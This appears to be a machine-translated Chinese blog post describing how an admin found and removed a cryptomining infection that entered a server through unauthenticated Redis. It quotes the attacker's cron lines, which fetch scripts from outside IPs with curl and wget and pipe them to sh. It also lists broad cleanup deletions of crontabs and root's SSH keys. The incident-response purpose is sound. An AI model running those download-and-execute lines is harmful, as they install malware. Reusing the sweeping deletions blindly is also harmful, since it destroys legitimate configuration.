背景
查看服务器资源的时候发现服务器的CPUC曾经100%，而且是始终是这样，
最近三天的CPU使用率直方图
以后一个小时的直方图
18：15：00笔挺降落的是我在解决后CPU的使用率状况
找到它在哪里
先看top过程应用状况
# toptop - 18:10:50 up 196 days, 18:59, 2 users, load average: 4.47, 4.21, 4.11Tasks: 163 total, 1 running, 162 sleeping, 0 stopped, 0 zombie%Cpu(s): 0.0 us, 1.6 sy, 98.4 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 stKiB Mem : 16267972 total, 185160 free, 14179644 used, 1903168 buff/cacheKiB Swap: 0 total, 0 free, 0 used. 1689432 avail MemWhich user (blank for all) PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND16634 root 20 0 541132 50260 0 S 400.0 0.3 78595:40 imWBR1 1 root 20 0 43296 2364 1112 S 0.0 0.0 52:21.51 systemd依据CPU使用率排序，能够看到排行第一imWBR1的CPU使用率是400%，它的过程id是16634
依据它的过程查看命令状况
# ps 16634 PID TTY STAT TIME COMMAND16634 ? Ssl 78597:57 /tmp/imWBR1能够看到它是从/tmp/imWBR1运行的
那么咱们查看该目录下的执行文件
ls /tmp/Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>ddg.2021hsperfdata_rootmysql.sockphp-cgi.socksess_08bs7nf1rl24pem9ve5fbeg5a6能够看到ddg.2021是绿色的，那么能够必定它就是该程序的启动命令或者是守护程序
当我kill 16634后 它之后仍然会呈现在过程中，显然他是杀不死的，因而寻找命令有
ddg.2021会发现它也有一个本人的过程始终在跑
top之后看下图
#top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND16634 root 20 0 541132 50260 0 S 399.3 0.3 78613:31 imWBR1 3195 root 20 0 8030128 1.647g 0 S 0.3 10.6 47:12.17 java10111 root 20 0 1565408 71356 888 S 0.3 0.4 951:29.45 ddg.2021看到ddg.2021的过程id是10111
那么先删除命令脚本，在杀死过程
rm -f /tmp/ddg.2021kill -9 10111kill -9 16634杀不死的小强
是不这样就能够了呢，很惋惜，我认为这样就能够了，然而它并没有啊，请看上面的图
显然它在15分钟后开始自启动了，接着大略在18：37分钟的时候它又开始工作了，从新开启399.7%CPU
过程状况如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2791 root 20 0 541148 44416 1000 S 399.7 0.3 40:45.54 imWBR1 2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021 4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server 7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun而/tmp目录中又呈现了ddg.2021，而且还多了imWBR1
ls /tmp/ddg.2021hsperfdata_rootimWBR1再次删除并杀掉过程
rm -f /tmp/ddg.2021 /tmp/imWBR1kill -9 2791kill -9 2607最终版本：找到它的定时工作并删除执行脚本和SSH的公钥
能够必定的是一点会有一个定时工作在不停的检测是否程序被杀死了，如果杀死了并且可执行文件也被删除了那么它就会主动下载源程序并且启动执行脚本。
依据参考文档我去/var/spool/cron这个文件夹看了下，事实就是如此，那么咱们来看看它的定时工作内容
cat /var/spool/cron/crontabs/root*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh- 能够看出它有两个定时工作
删除/var/spool/cron下的内容rm -fr /var/spool/cron/
2.删除ssh受权的公钥配置信息
rm -fr /root/.ssh/*3.删除执行脚本和程序
在执行下面类似的办法
ps -aux|grep ddg 3458 /tmp/ddg.2021 kill -9 3458ps -aux|grep imWBR1 3649 /tmp/imWBR1kill -9 3649rm -f /tmp/ddg.2021 /tmp/imWBR14.清空/etc/crontab中的定时工作
接着找定时工作，我在/etc/crontab找到一个，看ip就感觉有问题
cat /etc/crontabREDIS0006▒cccccc@O*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh清空该定时工作
echo '' > /etc/crontab依据定时工作查看这些脚本文件的内容
从他们提供的ip中咱们能够看到如下信息
两台服务器的地址都在国外：
第一个IP：218.248.40.228印度
第二个IP：104.161.63.57美国
第一个ip的8080端口开启了应用的是Apache Tomcat 6.0
第二个IP的80端口模拟Apache 的页面
两个脚本，第一个ip的脚步内容是下载挖矿程序并开启定时工作
第二个脚本则比拟厉害了，间接敞开防火墙，并且把近程把近程的SSH公钥增加到author-key中了，这样你的机器根本就是裸机了
为什么会呈现下面的状况，阿里云给出的起因如下
https://help.aliyun.com/knowledge_detail/37447.html
Redis 因配置不当存在未受权拜访破绽，能够被攻击者歹意利用。
在特定条件下，如果 Redis 以 root 身份运行，黑客能够给 root 账号写入 SSH 公钥文件，间接通过 SSH 登录受益服务器，从而获取服务器权限和数据。一旦入侵胜利，攻击者可间接增加账号用于 SSH 近程登录管制服务器，给用户的 Redis 运行环境以及 Linux 主机带来平安危险，如删除、泄露或加密重要数据，引发勒索事件等。
受影响范畴
在 Redis 客户端，尝试无账号登录 Redis：
root@kali:~# redis-cli -h 10.16.10.2redis 10.16.10.2:6379=keys *从登录后果能够看出，该 Redis 服务对公网凋谢，且未启用认证。
二.修复计划
请查看我的另一篇文章：Redis配置不当以致root被提权破绽
http://blog.csdn.net/zjcjava/article/details/78558392
我只能说还好他人没有把你的系统资源给删除了，不然就哭去吧，说到这么多，公网的平安工作肯定要做好，触目惊心啊
参考资料
革除wnTKYg 这个挖矿工木马的过程讲述
http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
Centos7被攻打做成YAM挖矿肉鸡
https://bbs.aliyun.com/simple/t285728.html